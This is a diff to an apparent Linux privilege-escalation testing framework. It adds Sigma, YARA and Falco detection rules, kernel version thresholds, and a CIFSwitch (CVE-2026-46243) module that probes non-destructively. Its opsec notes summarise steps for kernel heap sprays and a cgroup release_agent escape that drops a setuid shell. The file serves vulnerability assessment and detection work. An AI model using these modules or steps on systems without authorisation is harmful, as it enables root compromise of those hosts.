||||
.detect_auditd = af_packet_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = af_packet_sigma,
|
||||
.detect_yara = af_packet_yara,
|
||||
.detect_falco = af_packet_falco,
|
||||
.opsec_notes = "Creates AF_PACKET socket and TPACKET_V3 ring inside unshare(CLONE_NEWUSER|CLONE_NEWNET); triggers integer overflow with crafted tp_block_size/tp_block_nr and sprays ~200 loopback frames. Audit-visible via socket(AF_PACKET) (a0=17) + sendmmsg from a userns process; KASAN tag 'iamroot-afp-tag' may appear in dmesg if enabled. No persistent files. No cleanup callback - kernel state unwinds on child exit.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_af_packet(void)
|
||||
|
||||
@@ -105,6 +105,7 @@ static const struct kernel_patched_from af_unix_gc_patched_branches[] = {
|
||||
{5, 10, 197},
|
||||
{5, 15, 130},
|
||||
{6, 1, 51}, /* 6.1 LTS */
|
||||
{6, 4, 13}, /* 6.4.x stable (per Debian tracker — forky/sid/trixie) */
|
||||
{6, 5, 0}, /* mainline fix landed in 6.5 (technically 6.6-rc1
|
||||
but stable 6.5.x carries the patch) */
|
||||
};
|
||||
@@ -832,6 +833,56 @@ static const char af_unix_gc_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-afunixgc-sendmsg\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-afunixgc-spray\n";
|
||||
|
||||
static const char af_unix_gc_sigma[] =
|
||||
"title: Possible CVE-2023-4622 AF_UNIX GC UAF race\n"
|
||||
"id: c45d7eb3-skeletonkey-af-unix-gc\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects tight-loop socketpair(AF_UNIX) + sendmsg with SCM_RIGHTS\n"
|
||||
" + msgsnd grooming pattern characteristic of the AF_UNIX garbage\n"
|
||||
" collector race. False positives: legitimate IPC apps use\n"
|
||||
" SCM_RIGHTS, but the high-frequency close-and-recreate cycle is\n"
|
||||
" unusual outside fuzzing / exploit harnesses.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" sp: {type: 'SYSCALL', syscall: 'socketpair', a0: 1}\n"
|
||||
" scm: {type: 'SYSCALL', syscall: 'sendmsg'}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: sp and scm and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.4622]\n";
|
||||
|
||||
static const char af_unix_gc_yara[] =
|
||||
"rule af_unix_gc_cve_2023_4622 : cve_2023_4622 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-4622\"\n"
|
||||
" description = \"AF_UNIX GC race kmalloc-512 spray tag or log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEYU\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-af_unix_gc.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char af_unix_gc_falco[] =
|
||||
"- rule: SCM_RIGHTS cycling on AF_UNIX with msg_msg groom\n"
|
||||
" desc: |\n"
|
||||
" Tight socketpair(AF_UNIX) + sendmsg(SCM_RIGHTS) + msgsnd\n"
|
||||
" pattern characteristic of the AF_UNIX garbage collector\n"
|
||||
" race (CVE-2023-4622). False positives: IPC libraries use\n"
|
||||
" SCM_RIGHTS legitimately but rarely with the close-and-\n"
|
||||
" recreate cycle at this frequency.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_UNIX and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" SCM_RIGHTS sendmsg on AF_UNIX by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [ipc, mitre_privilege_escalation, T1068, cve.2023.4622]\n";
|
||||
|
||||
const struct skeletonkey_module af_unix_gc_module = {
|
||||
.name = "af_unix_gc",
|
||||
.cve = "CVE-2023-4622",
|
||||
@@ -843,9 +894,11 @@ const struct skeletonkey_module af_unix_gc_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = af_unix_gc_cleanup,
|
||||
.detect_auditd = af_unix_gc_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = af_unix_gc_sigma,
|
||||
.detect_yara = af_unix_gc_yara,
|
||||
.detect_falco = af_unix_gc_falco,
|
||||
.opsec_notes = "Two-threaded race: Thread A creates socketpair(AF_UNIX) with SCM_RIGHTS cycle then close; Thread B drives independent SCM_RIGHTS traffic on a held pair. ~5s budget (30s with --full-chain). msg_msg kmalloc-512 spray tagged 'SKELETONKEYU'. Writes /tmp/skeletonkey-af_unix_gc.log with empirical stats. Audit-visible via socketpair(AF_UNIX) + sendmsg(SCM_RIGHTS) + msgsnd triple. Dmesg may show UAF KASAN if kernel vulnerable. Cleanup callback unlinks the log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_af_unix_gc(void)
|
||||
|
||||
@@ -65,7 +65,7 @@ static const struct kernel_patched_from cgroup_ra_patched_branches[] = {
|
||||
{5, 4, 179},
|
||||
{5, 10, 100},
|
||||
{5, 15, 23},
|
||||
{5, 16, 9},
|
||||
{5, 16, 7}, /* Debian tracker: earlier than 5.16.9 in stable */
|
||||
{5, 17, 0}, /* mainline */
|
||||
};
|
||||
|
||||
@@ -359,6 +359,36 @@ static const char cgroup_ra_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
|
||||
|
||||
static const char cgroup_release_agent_yara[] =
|
||||
"rule cgroup_release_agent_cve_2022_0492 : cve_2022_0492 container_escape\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-0492\"\n"
|
||||
" description = \"cgroup v1 release_agent payload + dropped setuid shell artifacts\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $payload = \"/tmp/skeletonkey-cgroup-payload.sh\" ascii\n"
|
||||
" $shell = \"/tmp/skeletonkey-cgroup-sh\" ascii\n"
|
||||
" $mnt = \"/tmp/skeletonkey-cgroup-mnt\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char cgroup_release_agent_falco[] =
|
||||
"- rule: cgroup v1 mount by non-root with release_agent write\n"
|
||||
" desc: |\n"
|
||||
" A non-root process inside a userns mounts cgroup v1 and\n"
|
||||
" writes to a release_agent file. CVE-2022-0492 trigger:\n"
|
||||
" release_agent runs as init-ns root when cgroup empties.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = mount and evt.arg.fstype = cgroup and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" cgroup v1 mount by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid target=%evt.arg.name)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [container, mitre_privilege_escalation, T1611, cve.2022.0492]\n";
|
||||
|
||||
const struct skeletonkey_module cgroup_release_agent_module = {
|
||||
.name = "cgroup_release_agent",
|
||||
.cve = "CVE-2022-0492",
|
||||
@@ -371,8 +401,10 @@ const struct skeletonkey_module cgroup_release_agent_module = {
|
||||
.cleanup = cgroup_ra_cleanup,
|
||||
.detect_auditd = cgroup_ra_auditd,
|
||||
.detect_sigma = cgroup_ra_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = cgroup_release_agent_yara,
|
||||
.detect_falco = cgroup_release_agent_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS), mount cgroup v1 at /tmp/skeletonkey-cgroup-mnt, write payload path to release_agent file at cgroup root, echo 1 to notify_on_release in subdir, add PID to cgroup.procs and exit. Payload at /tmp/skeletonkey-cgroup-payload.sh runs as init-namespace root when cgroup empties, dropping setuid /tmp/skeletonkey-cgroup-sh. Audit-visible via unshare + mount(cgroup) + open/write of release_agent. Cleanup callback removes /tmp/skeletonkey-cgroup-* and umounts.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_cgroup_release_agent(void)
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
# cifswitch — CVE-2026-46243 ("CIFSwitch")
|
||||
|
||||
The kernel's `cifs.spnego` request-key type trusts userspace-forged
|
||||
authority fields, letting the root `cifs.upcall` helper be coerced into
|
||||
loading an attacker NSS module as root.
|
||||
|
||||
## The bug
|
||||
|
||||
`fs/smb/client/cifs_spnego.c` registers the `cifs.spnego` key type so the
|
||||
kernel CIFS client can ask the root-privileged `cifs.upcall` helper to
|
||||
perform a SPNEGO/Kerberos exchange. The key *description* carries
|
||||
authority-bearing fields — `pid`, `uid`, `creduid`, `upcall_target` —
|
||||
that `cifs.upcall` reads as trusted, kernel-originating inputs.
|
||||
|
||||
The flaw: the kernel never verified the request actually came from the
|
||||
in-kernel CIFS client. Userspace can create keys of this type directly
|
||||
through `add_key(2)` / `request_key(2)`, supplying all those fields. By
|
||||
forging a description and manipulating user + mount namespaces, an
|
||||
unprivileged user makes `cifs.upcall` trust attacker-controlled state and
|
||||
load a malicious NSS shared library as root → root code execution.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Flaw age | ~19 years (predates key-type origin checks) |
|
||||
| Fixed upstream | commit `3da1fdf4efbc`, merged 7.1-rc5 |
|
||||
| Debian backports | 5.10.257 · 6.1.174 · 6.12.90 · 7.0.10 |
|
||||
| NVD class | CWE-20 (Improper Input Validation) |
|
||||
| CISA KEV | no (as of disclosure) |
|
||||
|
||||
Branches Debian does not ship (5.15 / 6.6 / 6.8 / 6.11 …) are reported on
|
||||
the version-only verdict; confirm empirically.
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` returns `OK` for patched kernels, `PRECOND_FAIL` for a
|
||||
vulnerable kernel where `cifs.upcall` / the `cifs.spnego` request-key rule
|
||||
isn't installed (cifs-utils absent → unreachable), and `VULNERABLE` when
|
||||
both the version and the userspace path line up. The precondition probe
|
||||
can be overridden with `SKELETONKEY_CIFS_ASSUME_PRESENT=1` (force present)
|
||||
or `0` (force absent).
|
||||
|
||||
`exploit()` fires the non-destructive primitive: `add_key(2)` of a
|
||||
forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked
|
||||
immediately. A clean accept is the witness that userspace can forge the
|
||||
authority-bearing key type. The full root-pop (namespace switch +
|
||||
malicious NSS load) is **not** bundled until VM-verified — honest
|
||||
`EXPLOIT_FAIL` without a euid-0 witness.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade the kernel. As a runtime stopgap, blocklist the `cifs` module —
|
||||
`--mitigate` writes `/etc/modprobe.d/skeletonkey-disable-cifs.conf`
|
||||
(needs root) and `--cleanup` removes it. Already-loaded `cifs` persists
|
||||
until unmount + `rmmod cifs` or reboot.
|
||||
|
||||
## Credit
|
||||
|
||||
Asim Manizada (2026-05-28). See `NOTICE.md`.
|
||||
@@ -0,0 +1,92 @@
|
||||
# NOTICE — cifswitch (CVE-2026-46243, "CIFSwitch")
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-46243 "CIFSwitch"** — the Linux kernel's `cifs.spnego`
|
||||
request-key type (`fs/smb/client/cifs_spnego.c`) accepts key descriptions
|
||||
created by **userspace** (via `add_key(2)` / `request_key(2)`) without
|
||||
verifying that the request originated from the in-kernel CIFS client. The
|
||||
key description carries authority-bearing fields — `pid`, `uid`,
|
||||
`creduid`, `upcall_target` — that the root-privileged `cifs.upcall`
|
||||
helper treats as trusted, kernel-originating inputs. An unprivileged
|
||||
local user forges such a description and, combined with user + mount
|
||||
namespace manipulation, coerces `cifs.upcall` into loading an
|
||||
attacker-controlled NSS shared library as root → local privilege
|
||||
escalation to root.
|
||||
|
||||
It is a **~19-year-old** logic flaw — the cifs spnego upcall predates the
|
||||
key-type origin checks added to the keyrings subsystem later. NVD class:
|
||||
**CWE-20** (Improper Input Validation). Not in CISA KEV (as of disclosure).
|
||||
|
||||
**Preconditions:** the `cifs` kernel module available, `cifs-utils`
|
||||
installed (so `cifs.upcall` is present), and the `cifs.spnego`
|
||||
request-key rule active. Default-vulnerable distributions reported
|
||||
include Linux Mint, CentOS Stream 9, Rocky Linux 9, AlmaLinux 9, Kali
|
||||
Linux, SLES 15 SP7, and Red Hat Enterprise Linux 6–10.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered, named, and disclosed by **Asim Manizada** on **2026-05-28**,
|
||||
with a working proof-of-concept published the same day.
|
||||
|
||||
- Red Hat advisory (RHSB-2026-005):
|
||||
<https://access.redhat.com/security/vulnerabilities/RHSB-2026-005>
|
||||
- BleepingComputer write-up:
|
||||
<https://www.bleepingcomputer.com/news/security/new-cifswitch-linux-flaw-gives-root-on-multiple-distributions/>
|
||||
- Upstream fix: commit `3da1fdf4efbc490041eb4f836bf596201203f8f2`
|
||||
("smb: client: reject userspace cifs.spnego descriptions"), merged
|
||||
7.1-rc5.
|
||||
- Debian-tracked stable backports: 5.10.257 (bullseye) / 6.1.174
|
||||
(bookworm) / 6.12.90 (trixie) / 7.0.10 (forky, sid).
|
||||
|
||||
All research credit for finding and analysing this bug belongs to Asim
|
||||
Manizada. SKELETONKEY is the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟡 **Primitive / ported-from-disclosure — not yet VM-verified.**
|
||||
`detect()` gates on the kernel version (the Debian backport thresholds
|
||||
above) **and** the presence of the vulnerable userspace path
|
||||
(`cifs.upcall` / the `cifs.spnego` request-key rule) — a vulnerable
|
||||
kernel without `cifs-utils` is reported `PRECOND_FAIL`, not `VULNERABLE`.
|
||||
Override the probe with `SKELETONKEY_CIFS_ASSUME_PRESENT=1` (or `0`).
|
||||
|
||||
`exploit()` fires only the reachable, **non-destructive** part of the
|
||||
primitive: it attempts to register a forged-but-benign `cifs.spnego` key
|
||||
as the unprivileged user via `add_key(2)` — which instantiates the key
|
||||
directly and does **not** invoke `cifs.upcall`, so it loads nothing and
|
||||
spawns no privileged helper — and revokes the key immediately. A clean
|
||||
accept is the empirical witness that the missing-origin-validation flaw
|
||||
is present. It then **stops**: the namespace-switch + malicious-NSS-load
|
||||
chain that actually lands a root shell is target/config-specific and is
|
||||
**not** bundled until it can be verified end-to-end against a real
|
||||
vulnerable VM, in keeping with the project's no-fabrication rule.
|
||||
`exploit()` returns `EXPLOIT_FAIL` unless it can witness euid 0.
|
||||
|
||||
`--mitigate` writes `/etc/modprobe.d/skeletonkey-disable-cifs.conf`
|
||||
(blocklists the `cifs` module — the vendor-recommended runtime
|
||||
mitigation); `--cleanup` removes it. Architecture-agnostic — keyring and
|
||||
namespace logic, no shellcode.
|
||||
|
||||
## Verification status (partial)
|
||||
|
||||
Verified **2026-06-08** on **Ubuntu 24.04.4 LTS, kernel 6.8.0-117-generic**
|
||||
(QEMU/HVF, x86_64):
|
||||
|
||||
- `modprobe cifs` registers the `cifs.spnego` key type (dmesg:
|
||||
`Key type cifs.spnego registered`) — `cifs-utils` is **not** required to
|
||||
reach the primitive.
|
||||
- An **independent** `python3` `ctypes` probe calling
|
||||
`add_key("cifs.spnego", <forged uid/creduid/upcall_target>)` was
|
||||
**ACCEPTED** (a plain `user`-key control was also accepted), and the
|
||||
module's own `exploit()` independently reported **primitive CONFIRMED**
|
||||
then the honest `EXPLOIT_FAIL`.
|
||||
- `detect()` returned `PRECOND_FAIL` with `cifs-utils` absent and
|
||||
`VULNERABLE` under `SKELETONKEY_CIFS_ASSUME_PRESENT=1`.
|
||||
|
||||
**Still pending** (so this stays 🟡 and is *not* counted as a verified
|
||||
end-to-end CVE): (a) confirming `add_key` is **rejected** on a *patched*
|
||||
kernel (≥ 6.12.90 / 7.0.10) — i.e. that the probe distinguishes
|
||||
fixed-from-vulnerable rather than the key type always permitting userspace
|
||||
creation; and (b) the full namespace + malicious-NSS root-pop, which
|
||||
remains unbundled.
|
||||
@@ -0,0 +1,419 @@
|
||||
/*
|
||||
* cifswitch_cve_2026_46243 — SKELETONKEY module
|
||||
*
|
||||
* CVE-2026-46243 "CIFSwitch" — the kernel's `cifs.spnego` request-key
|
||||
* type accepts key descriptions created by *userspace* (via add_key(2) /
|
||||
* request_key(2)) without verifying the request originated from the
|
||||
* in-kernel CIFS client. Those descriptions carry authority-bearing
|
||||
* fields (`pid`, `uid`, `creduid`, `upcall_target`) that the
|
||||
* root-privileged `cifs.upcall` helper trusts as kernel-originating.
|
||||
* An unprivileged user forges a description and — combined with user +
|
||||
* mount namespace manipulation — coerces `cifs.upcall` into loading an
|
||||
* attacker-controlled NSS shared library as root → local root.
|
||||
*
|
||||
* Disclosed by Asim Manizada, 2026-05-28 (public PoC same day). A
|
||||
* ~19-year-old bug: the cifs spnego upcall predates the key-type origin
|
||||
* checks added later. Fixed upstream by commit 3da1fdf4efbc (merged
|
||||
* 7.1-rc5): "smb: client: reject userspace cifs.spnego descriptions".
|
||||
* NVD: CWE-20 (Improper Input Validation). Not in CISA KEV.
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE / ported-from-disclosure, NOT yet VM-verified.
|
||||
* Structural logic flaw — no offsets, no race, no shellcode. detect()
|
||||
* gates on (a) the kernel version (Debian-tracked backports below) and
|
||||
* (b) the presence of the vulnerable userspace path: the `cifs.upcall`
|
||||
* helper / `cifs.spnego` request-key rule. A vulnerable kernel without
|
||||
* cifs-utils is not reachable via this technique, so that case is
|
||||
* PRECOND_FAIL, not VULNERABLE. exploit() fires the reachable,
|
||||
* non-destructive part of the primitive — it attempts to register a
|
||||
* forged-but-benign `cifs.spnego` key as the unprivileged user (via
|
||||
* add_key(2), which does NOT invoke cifs.upcall) and observes whether
|
||||
* the kernel accepts a userspace-originated description — then STOPS.
|
||||
* The namespace-switch + malicious-NSS-load that turns that into a
|
||||
* root shell is target/config-specific and is not bundled until it can
|
||||
* be VM-verified end-to-end. Honest EXPLOIT_FAIL without a euid-0
|
||||
* witness; never fabricates root.
|
||||
*
|
||||
* Affected range (Debian-tracked stable backports of the fix):
|
||||
* 5.10.x : K >= 5.10.257 (bullseye)
|
||||
* 6.1.x : K >= 6.1.174 (bookworm)
|
||||
* 6.12.x : K >= 6.12.90 (trixie)
|
||||
* 7.0.x : K >= 7.0.10 (forky / sid); mainline fixed 7.1-rc5
|
||||
* Branches Debian doesn't track (5.15 / 6.6 / 6.8 / 6.11 ...) fall
|
||||
* through to the version-only verdict — confirm empirically.
|
||||
*
|
||||
* Preconditions: cifs kernel module available + cifs-utils installed
|
||||
* (`cifs.upcall` present) + the `cifs.spnego` request-key rule active.
|
||||
* Override the precondition probe with SKELETONKEY_CIFS_ASSUME_PRESENT
|
||||
* = 1 (force present) / 0 (force absent) when you know the fleet's CIFS
|
||||
* posture better than a local file probe can (also drives unit tests).
|
||||
*
|
||||
* arch_support: any. Keyring + namespace logic; no shellcode.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
||||
* redefine here (warning: redefined). */
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
/* keyring syscalls live in libkeyutils, not glibc — call them directly.
|
||||
* The asm-generic numbers below match x86_64 / arm64 / most arches; fall
|
||||
* back only when the toolchain headers don't already define them. */
|
||||
#ifndef SYS_add_key
|
||||
#define SYS_add_key 248
|
||||
#endif
|
||||
#ifndef SYS_keyctl
|
||||
#define SYS_keyctl 250
|
||||
#endif
|
||||
|
||||
/* keyctl operations + special keyring ids (uapi/linux/keyctl.h). */
|
||||
#ifndef KEYCTL_REVOKE
|
||||
#define KEYCTL_REVOKE 3
|
||||
#endif
|
||||
#ifndef KEY_SPEC_PROCESS_KEYRING
|
||||
#define KEY_SPEC_PROCESS_KEYRING (-2)
|
||||
#endif
|
||||
|
||||
typedef int sk_key_serial_t;
|
||||
|
||||
static sk_key_serial_t sk_add_key(const char *type, const char *desc,
|
||||
const void *payload, size_t plen,
|
||||
sk_key_serial_t keyring)
|
||||
{
|
||||
return (sk_key_serial_t)syscall(SYS_add_key, type, desc,
|
||||
payload, plen, keyring);
|
||||
}
|
||||
static long sk_keyctl_revoke(sk_key_serial_t key)
|
||||
{
|
||||
return syscall(SYS_keyctl, (long)KEYCTL_REVOKE, (long)key, 0L, 0L, 0L);
|
||||
}
|
||||
|
||||
/* Debian-tracked stable backports of the 2026 fix (commit 3da1fdf4efbc,
|
||||
* mainline 7.1-rc5). These are the authoritative thresholds
|
||||
* (security-tracker.debian.org). Branches Debian doesn't ship fall
|
||||
* through to the version-only verdict in detect(). */
|
||||
static const struct kernel_patched_from cifswitch_patched_branches[] = {
|
||||
{5, 10, 257}, /* 5.10-LTS backport (Debian bullseye) */
|
||||
{6, 1, 174}, /* 6.1-LTS backport (Debian bookworm) */
|
||||
{6, 12, 90}, /* 6.12-LTS backport (Debian trixie) */
|
||||
{7, 0, 10}, /* 7.0 stable (Debian forky / sid) */
|
||||
};
|
||||
|
||||
static const struct kernel_range cifswitch_range = {
|
||||
.patched_from = cifswitch_patched_branches,
|
||||
.n_patched_from = sizeof(cifswitch_patched_branches) /
|
||||
sizeof(cifswitch_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* Is the vulnerable userspace path present? The load-bearing signal is
|
||||
* the cifs.upcall helper (the privileged component the bug abuses); the
|
||||
* cifs.spnego request-key rule and a loaded/loadable cifs module
|
||||
* corroborate. SKELETONKEY_CIFS_ASSUME_PRESENT overrides the probe:
|
||||
* "1" = present, "0" = absent (operators who know their fleet's CIFS
|
||||
* posture, and the unit tests, use this). */
|
||||
static bool cifs_userspace_present(void)
|
||||
{
|
||||
const char *force = getenv("SKELETONKEY_CIFS_ASSUME_PRESENT");
|
||||
if (force && (force[0] == '1' || force[0] == '0'))
|
||||
return force[0] == '1';
|
||||
|
||||
struct stat st;
|
||||
static const char *upcall_paths[] = {
|
||||
"/usr/sbin/cifs.upcall", "/sbin/cifs.upcall",
|
||||
"/usr/bin/cifs.upcall", "/usr/local/sbin/cifs.upcall", NULL,
|
||||
};
|
||||
for (size_t i = 0; upcall_paths[i]; i++)
|
||||
if (stat(upcall_paths[i], &st) == 0)
|
||||
return true;
|
||||
|
||||
/* request-key rule for cifs.spnego (cifs-utils ships this). */
|
||||
static const char *reqkey_paths[] = {
|
||||
"/etc/request-key.d/cifs.spnego.conf",
|
||||
"/usr/share/request-key.d/cifs.spnego.conf", NULL,
|
||||
};
|
||||
for (size_t i = 0; reqkey_paths[i]; i++)
|
||||
if (stat(reqkey_paths[i], &st) == 0)
|
||||
return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] cifswitch: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* A patched kernel is not vulnerable regardless of the userspace
|
||||
* path — decide that first so the verdict is deterministic. */
|
||||
if (kernel_range_is_patched(&cifswitch_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] cifswitch: kernel %s is patched "
|
||||
"(version-only check)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Vulnerable kernel. Exploitation needs the cifs.upcall userspace
|
||||
* path; without it the technique is unreachable here. */
|
||||
if (!cifs_userspace_present()) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] cifswitch: kernel %s is in the vulnerable "
|
||||
"range but cifs.upcall / cifs.spnego request-key "
|
||||
"rule not found — cifs-utils not installed, bug "
|
||||
"not reachable here\n", v->release);
|
||||
fprintf(stderr, "[i] cifswitch: if you know this fleet uses CIFS, "
|
||||
"re-run with SKELETONKEY_CIFS_ASSUME_PRESENT=1\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] cifswitch: kernel %s VULNERABLE and cifs.upcall "
|
||||
"present — CVE-2026-46243 reachable\n", v->release);
|
||||
fprintf(stderr, "[i] cifswitch: userspace can forge cifs.spnego key "
|
||||
"descriptions (pid/uid/creduid/upcall_target) the root "
|
||||
"cifs.upcall helper trusts\n");
|
||||
fprintf(stderr, "[i] cifswitch: branches Debian doesn't track "
|
||||
"(5.15/6.6/6.8/6.11) are version-only here; confirm with "
|
||||
"`--exploit cifswitch --i-know`\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] cifswitch: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
skeletonkey_result_t pre = cifswitch_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] cifswitch: detect() says not vulnerable/reachable; "
|
||||
"refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] cifswitch: already running as root — nothing to do\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Reachable, non-destructive primitive witness: can we, as an
|
||||
* unprivileged user, register a cifs.spnego key carrying the
|
||||
* authority-bearing fields? add_key(2) instantiates the key directly
|
||||
* — it does NOT invoke cifs.upcall (that is request_key's upcall
|
||||
* path), so this loads nothing and triggers no privileged helper. On
|
||||
* a VULNERABLE kernel the type accepts the userspace-originated
|
||||
* description; the fix (3da1fdf4efbc) rejects it. We revoke any key
|
||||
* we create immediately. A clean accept is the empirical signal that
|
||||
* the missing-origin-validation flaw is present; any error is treated
|
||||
* as inconclusive (could be patched, or add_key unsupported for the
|
||||
* type) and reported honestly — we never infer root from it. */
|
||||
const char *desc =
|
||||
"ver=0x2;host=skeletonkey-probe;ip4=127.0.0.1;sec=krb5;"
|
||||
"uid=0x0;creduid=0x0;user=skprobe;pid=0x0";
|
||||
errno = 0;
|
||||
sk_key_serial_t k = sk_add_key("cifs.spnego", desc, "\x00", 1,
|
||||
KEY_SPEC_PROCESS_KEYRING);
|
||||
if (k > 0) {
|
||||
sk_keyctl_revoke(k); /* don't leave the probe key lying around */
|
||||
fprintf(stderr,
|
||||
"[!] cifswitch: primitive CONFIRMED — kernel accepted a "
|
||||
"userspace-forged cifs.spnego key (serial %d) carrying "
|
||||
"uid/creduid/upcall_target. CVE-2026-46243 reachable.\n", k);
|
||||
fprintf(stderr,
|
||||
"[i] cifswitch: the full root-pop (user+mount namespace switch "
|
||||
"coercing cifs.upcall to load an attacker NSS module as root) is "
|
||||
"target/config-specific and NOT bundled until VM-verified. Not "
|
||||
"fabricating a shell. See module NOTICE.md (Asim Manizada PoC).\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (errno == ENOSYS) {
|
||||
fprintf(stderr, "[-] cifswitch: add_key(2) ENOSYS — keyrings "
|
||||
"unavailable in this kernel build\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
fprintf(stderr,
|
||||
"[-] cifswitch: kernel did not accept a userspace-forged cifs.spnego "
|
||||
"key (add_key: %s). Inconclusive — the kernel may carry the fix "
|
||||
"(3da1fdf4efbc rejects userspace descriptions), or the key type may "
|
||||
"not permit direct add_key here. detect() reported the version+helper "
|
||||
"as vulnerable; verify against a known-vulnerable VM.\n",
|
||||
strerror(errno));
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Mitigation: the vendor-recommended runtime fix is to blocklist the
|
||||
* cifs module so the vulnerable upcall path cannot be reached. We write
|
||||
* a modprobe.d blocklist (needs root; persists across reboot and blocks
|
||||
* future autoload). We do not force-unload a possibly-mounted cifs. The
|
||||
* real fix is the kernel patch. --cleanup removes the blocklist file. */
|
||||
#define CIFSWITCH_BLOCKLIST "/etc/modprobe.d/skeletonkey-disable-cifs.conf"
|
||||
|
||||
static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
int fd = open(CIFSWITCH_BLOCKLIST, O_WRONLY | O_CREAT | O_TRUNC, 0644);
|
||||
if (fd < 0) {
|
||||
fprintf(stderr, "[-] cifswitch: cannot write %s: %s "
|
||||
"(need root: run as root, or "
|
||||
"`echo 'blacklist cifs' | sudo tee %s`)\n",
|
||||
